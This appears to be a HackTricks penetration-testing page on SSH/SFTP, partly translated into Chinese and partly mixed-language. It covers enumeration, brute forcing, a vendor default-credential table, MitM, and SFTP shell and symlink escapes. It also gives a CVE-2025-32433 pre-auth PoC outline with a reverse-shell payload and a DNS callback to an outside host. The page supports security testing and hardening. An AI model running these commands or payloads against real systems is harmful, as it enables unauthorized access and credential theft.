# 22 - Pentesting SSH/SFTP {{#include ../banners/hacktricks-training.md}} ## 基本信息 **SSH (安全外壳或安全套接字外壳)** 是一种网络协议,允许通过不安全的网络与计算机建立安全连接。它对于在访问远程系统时维护数据的机密性和完整性至关重要。 **默认端口:** 22 ``` 22/tcp open ssh syn-ack ``` **SSH 服务器:** - [openSSH](http://www.openssh.org) – OpenBSD SSH,自 Windows 10 起在 BSD、Linux 发行版和 Windows 中提供 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – 适用于内存和处理器资源有限环境的 SSH 实现,包含在 OpenWrt 中 - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – 适用于 Windows 的 SSH 实现,客户端常用,但服务器使用较少 - [CopSSH](https://www.itefix.net/copssh) – Windows 的 OpenSSH 实现 **SSH 库(实现服务器端):** - [libssh](https://www.libssh.org) – 多平台 C 库,实现 SSHv2 协议,支持 [Python](https://github.com/ParallelSSH/ssh-python)、[Perl](https://github.com/garnier-quentin/perl-libssh/) 和 [R](https://github.com/ropensci/ssh) 的绑定;KDE 用于 sftp,GitHub 用于 git SSH 基础设施 - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – 用 ANSI C 编写的 SSHv2 服务器库,针对嵌入式、RTOS 和资源受限环境 - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – 基于 Apache MINA 的 Apache SSHD Java 库 - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 协议库 ## 枚举 ### 横幅抓取 ```bash nc -vn 22 ``` ### 自动化 ssh-audit ssh-audit 是一个用于 ssh 服务器和客户端配置审计的工具。 [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) 是一个来自 [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) 的更新分支。 **特点:** - 支持 SSH1 和 SSH2 协议服务器; - 分析 SSH 客户端配置; - 抓取横幅,识别设备或软件和操作系统,检测压缩; - 收集密钥交换、主机密钥、加密和消息认证码算法; - 输出算法信息(可用自、已移除/禁用、不安全/弱/遗留等); - 输出算法建议(根据识别的软件版本添加或移除); - 输出安全信息(相关问题、分配的 CVE 列表等); - 根据算法信息分析 SSH 版本兼容性; - 来自 OpenSSH、Dropbear SSH 和 libssh 的历史信息; - 在 Linux 和 Windows 上运行; - 无依赖。 ```bash usage: ssh-audit.py [-1246pbcnjvlt] -1, --ssh1 force ssh version 1 only -2, --ssh2 force ssh version 2 only -4, --ipv4 enable IPv4 (order of precedence) -6, --ipv6 enable IPv6 (order of precedence) -p, --port= port to connect -b, --batch batch output -c, --client-audit starts a server on port 2222 to audit client software config (use -p to change port; use -t to change timeout) -n, --no-colors disable colors -j, --json JSON output -v, --verbose verbose output -l, --level= minimum output level (info|warn|fail) -t, --timeout= timeout (in seconds) for connection and reading (default: 5) $ python3 ssh-audit ``` [查看实际操作 (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### 服务器的公共 SSH 密钥 ```bash ssh-keyscan -t rsa -p ``` ### 弱加密算法 这可以通过 **nmap** 默认发现。但你也可以使用 **sslcan** 或 **sslyze**。 ### Nmap 脚本 ```bash nmap -p22 -sC # Send default nmap scripts for SSH nmap -p22 -sV # Retrieve version nmap -p22 --script ssh2-enum-algos # Retrieve supported algorythms nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods ``` ### Shodan - `ssh` ## 暴力破解用户名、密码和私钥 ### 用户名枚举 在某些版本的 OpenSSH 中,您可以进行时间攻击以枚举用户。您可以使用 metasploit 模块来利用这一点: ``` msf> use scanner/ssh/ssh_enumusers ``` ### [暴力破解](../generic-hacking/brute-force.md#ssh) 一些常见的 ssh 凭据 [在这里](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) 和 [在这里](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) 以及下面。 ### 私钥暴力破解 如果你知道一些可以使用的 ssh 私钥... 那就试试吧。你可以使用 nmap 脚本: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` 或 MSF 辅助模块: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` 或使用 `ssh-keybrute.py`(原生 python3,轻量且启用了遗留算法):[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)。 #### 已知的坏密钥可以在这里找到: {{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}} #### 弱 SSH 密钥 / Debian 可预测 PRNG 某些系统在用于生成加密材料的随机种子中存在已知缺陷。这可能导致密钥空间显著减少,从而可以被暴力破解。受弱 PRNG 影响的 Debian 系统上生成的预生成密钥集可以在这里找到:[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。 您应该在这里查找受害者机器的有效密钥。 ### Kerberos **crackmapexec** 使用 `ssh` 协议可以使用选项 `--kerberos` 来 **通过 kerberos 进行身份验证**。\ 有关更多信息,请运行 `crackmapexec ssh --help`。 ## 默认凭据 | **供应商** | **用户名** | **密码** | | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, device | apc | | Brocade | admin | admin123, password, brocade, fibranne | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | D-Link | admin, user | private, admin, user | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | Juniper | netscreen | netscreen | | NetApp | admin | netapp123 | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | ## SSH-MitM 如果您在本地网络中,作为即将使用用户名和密码连接到 SSH 服务器的受害者,您可以尝试 **执行 MitM 攻击以窃取这些凭据:** **攻击路径:** - **流量重定向:** 攻击者 **转移** 受害者的流量到他们的机器,有效地 **拦截** 连接尝试到 SSH 服务器。 - **拦截和记录:** 攻击者的机器充当 **代理**,通过假装是合法的 SSH 服务器来 **捕获** 用户的登录信息。 - **命令执行和转发:** 最后,攻击者的服务器 **记录用户的凭据**,**将命令转发** 到真实的 SSH 服务器,**执行** 它们,并 **将结果发送回** 用户,使过程看起来无缝且合法。 [**SSH MITM**](https://github.com/jtesta/ssh-mitm) 完全按照上述描述进行。 为了捕获执行实际的 MitM,您可以使用 ARP 欺骗、DNS 欺骗或在 [**网络欺骗攻击**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing) 中描述的其他技术。 ## SSH-Snake 如果您想使用发现的 SSH 私钥遍历网络,在每个系统上利用每个私钥连接到新主机,那么 [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) 是您需要的工具。 SSH-Snake 自动且递归地执行以下任务: 1. 在当前系统上,查找任何 SSH 私钥, 2. 在当前系统上,查找任何主机或目标(user@host),这些私钥可能被接受, 3. 尝试使用所有发现的私钥 SSH 连接到所有目标, 4. 如果成功连接到某个目标,则在连接的系统上重复步骤 #1 - #4。 它是完全自我复制和自我传播的——并且完全无文件。 ## 配置错误 ### 根登录 SSH 服务器默认允许 root 用户登录,这构成了重大安全风险。**禁用根登录** 是保护服务器的关键步骤。通过进行此更改,可以减轻未经授权的管理权限访问和暴力攻击的风险。 **在 OpenSSH 中禁用根登录:** 1. 使用 `sudoedit /etc/ssh/sshd_config` 编辑 SSH 配置文件 2. 将设置从 `#PermitRootLogin yes` 更改为 **`PermitRootLogin no`**。 3. 使用 `sudo systemctl daemon-reload` 重新加载配置 4. 重新启动 SSH 服务器以应用更改:`sudo systemctl restart sshd` ### SFTP 暴力破解 - [**SFTP 暴力破解**](../generic-hacking/brute-force.md#sftp) ### SFTP 命令执行 在 SFTP 设置中常常会出现一个常见的疏忽,管理员希望用户在不启用远程 shell 访问的情况下交换文件。尽管将用户设置为非交互式 shell(例如 `/usr/bin/nologin`)并将其限制在特定目录中,但仍然存在安全漏洞。**用户可以通过在登录后立即请求执行命令(如 `/bin/bash`)来规避这些限制**,在其指定的非交互式 shell 接管之前。这允许未经授权的命令执行,破坏了预期的安全措施。 [来自这里的示例](https://community.turgensec.com/ssh-hacking-guide/): ```bash ssh -v noraj@192.168.1.94 id ... Password: debug1: Authentication succeeded (keyboard-interactive). Authenticated to 192.168.1.94 ([192.168.1.94]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending command: id debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 uid=1000(noraj) gid=100(users) groups=100(users) debug1: channel 0: free: client-session, nchannels 1 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds Bytes per second: sent 43133.4, received 44349.5 debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` 这是用户 `noraj` 的安全 SFTP 配置示例(`/etc/ssh/sshd_config` – openSSH): ``` Match User noraj ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no PermitTunnel no X11Forwarding no PermitTTY no ``` 此配置将仅允许 SFTP:通过强制启动命令并禁用 TTY 访问来禁用 shell 访问,同时还禁用所有类型的端口转发或隧道。 ### SFTP Tunneling 如果您可以访问 SFTP 服务器,您还可以通过此方式隧道您的流量,例如使用常见的端口转发: ```bash sudo ssh -L :: -N -f @ ``` ### SFTP Symlink The **sftp** have the command "**symlink**". Therefore, if you have **可写权限** in some folder, you can create **symlinks** of **其他文件夹/文件**. As you are probably **被困** inside a chroot this **对你来说不会特别有用**, but, if you can **访问** the created **symlink** from a **no-chroot** **服务** (for example, if you can access the symlink from the web), you could **通过网络打开symlinked文件**. For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**: ```bash sftp> symlink / froot ``` 如果您可以通过网络访问文件 "_froot_",您将能够列出系统的根 ("/") 文件夹。 ### 认证方法 在高安全性环境中,通常的做法是仅启用基于密钥或双因素认证,而不是简单的基于密码的单因素认证。但通常情况下,较强的认证方法被启用而没有禁用较弱的认证方法。一个常见的情况是在 openSSH 配置中启用 `publickey` 并将其设置为默认方法,但没有禁用 `password`。因此,通过使用 SSH 客户端的详细模式,攻击者可以看到较弱的方法被启用: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` 例如,如果设置了身份验证失败限制,并且您从未有机会达到密码方法,则可以使用 `PreferredAuthentications` 选项强制使用此方法。 ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` 审查SSH服务器配置是必要的,以检查仅授权预期的方法。使用客户端的详细模式可以帮助查看配置的有效性。 ### 配置文件 ```bash ssh_config sshd_config authorized_keys ssh_known_hosts known_hosts id_rsa ``` ## Fuzzing - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) ## 身份验证状态机绕过(预认证 RCE) 多个 SSH 服务器实现包含逻辑缺陷,在 **身份验证有限状态机** 中允许客户端在身份验证完成 **之前** 发送 *连接协议* 消息。由于服务器未能验证其处于正确状态,这些消息被处理为用户已完全通过身份验证,从而导致 **未认证代码执行** 或会话创建。 在协议层面,任何 _消息代码_ **≥ 80** (0x50) 的 SSH 消息属于 *连接* 层 (RFC 4254),并且必须 **仅在成功身份验证后接受** (RFC 4252)。如果服务器在 *SSH_AUTHENTICATION* 状态下处理其中一条消息,攻击者可以立即创建通道并请求执行命令、端口转发等操作。 ### 通用利用步骤 1. 建立与目标 SSH 端口的 TCP 连接(通常为 22,但其他服务可能在 2022、830、2222 等端口上暴露 Erlang/OTP)。 2. 构造一个原始 SSH 数据包: * 4 字节 **packet_length**(大端) * 1 字节 **message_code** ≥ 80(例如 `SSH_MSG_CHANNEL_OPEN` = 90,`SSH_MSG_CHANNEL_REQUEST` = 98) * 负载将被所选消息类型理解 3. 在 **完成任何身份验证步骤之前** 发送数据包。 4. 与现在暴露的 _预认证_ 服务器 API 进行交互(命令执行、端口转发、文件系统访问等)。 Python 概念验证大纲: ```python import socket, struct HOST, PORT = '10.10.10.10', 22 s = socket.create_connection((HOST, PORT)) # skip version exchange for brevity – send your own client banner then read server banner # … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner # Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 s.sendall(pkt) # additional CHANNEL_REQUEST packets can follow to run commands ``` 在实践中,您需要根据目标实现执行(或跳过)密钥交换,但**从未执行身份验证**。 --- ### Erlang/OTP `sshd` (CVE-2025-32433) * **受影响的版本:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 * **根本原因:** Erlang 原生 SSH 守护进程在调用 `ssh_connection:handle_msg/2` 之前未验证当前状态。因此,任何消息代码为 80-255 的数据包在会话仍处于 *userauth* 状态时到达连接处理程序。 * **影响:** 未经身份验证的 **远程代码执行**(守护进程通常以 **root** 身份在嵌入式/OT 设备上运行)。 示例有效负载,生成绑定到攻击者控制通道的反向 shell: ```erlang % open a channel first … then: execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). ``` 盲目 RCE / 异带检测可以通过 DNS 执行: ```erlang execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession ``` 检测与缓解: * 检查 SSH 流量:**丢弃任何在身份验证之前观察到的消息代码 ≥ 80 的数据包**。 * 将 Erlang/OTP 升级到 **27.3.3 / 26.2.5.11 / 25.3.2.20** 或更新版本。 * 限制管理端口(22/2022/830/2222)的暴露,特别是在 OT 设备上。 --- ### 受影响的其他实现 * **libssh** 0.6 – 0.8(服务器端) – **CVE-2018-10933** – 接受客户端发送的未经身份验证的 `SSH_MSG_USERAUTH_SUCCESS`,实际上是反向逻辑缺陷。 共同的教训是,任何偏离 RFC 规定的状态转换都可能是致命的;在审查或模糊测试 SSH 守护进程时,特别注意 *状态机执行*。 ## 参考文献 - [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [SSH 加固指南](https://www.ssh-audit.com/hardening_guides.html) - [Turgensec SSH 黑客指南](https://community.turgensec.com/ssh-hacking-guide) ## HackTricks 自动命令 ``` Protocol_Name: SSH Port_Number: 22 Protocol_Description: Secure Shell Hardening Entry_1: Name: Hydra Brute Force Description: Need Username Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh Entry_2: Name: consolesless mfs enumeration Description: SSH enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' ``` {{#include ../banners/hacktricks-training.md}}